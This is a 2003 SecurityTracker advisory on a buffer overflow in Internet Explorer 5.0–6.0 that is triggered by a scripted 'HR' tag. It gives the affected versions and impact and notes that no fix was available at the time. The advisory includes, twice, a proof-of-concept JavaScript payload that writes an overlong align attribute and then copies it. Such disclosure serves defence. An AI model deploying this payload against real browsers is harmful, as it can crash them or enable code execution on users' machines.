Microsoft Internet Explorer Buffer Overflow in Processing Scripted 'HR' Tags Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1007072 |
|
SecurityTracker URL: http://securitytracker.com/id/1007072
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jun 27 2003
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 5.0, 5.5, 6.0
|
Description:
A buffer overflow vulnerability was reported in Microsoft Internet Explorer. A remote user can create HTML that will execute arbitrary code on the target user's system.
Digital Scream reported that a remote user can create HTML containing scripting code that writes a specially crafted "HR" tag to trigger a stack overflow. When a target user views the HTML, the overflow can cause arbitrary code to be executed with the privileges of the target user.
Another user (xenophi1e) reports that the overflow occurs in HTML32.cnv and that a remote user can effectively control the EBP, EIP, and other registers.
A demonstration exploit is provided:
<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
<script>
|
Impact:
A remote user can create HTML that, when loaded by the target user, will execute arbitrary code on the target user's computer with the privileges of the target user.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
|
Cause:
Boundary error
|
Underlying OS:
Windows (Any)
|
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 22 Jun 2003 00:58:21 -0000
Subject: Internet Explorer >=5.0 : Buffer overflow
|
<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
</script>
Grtz: Nj3l, buggzy, 3APA3A, Void Team, X - Crew
|
|
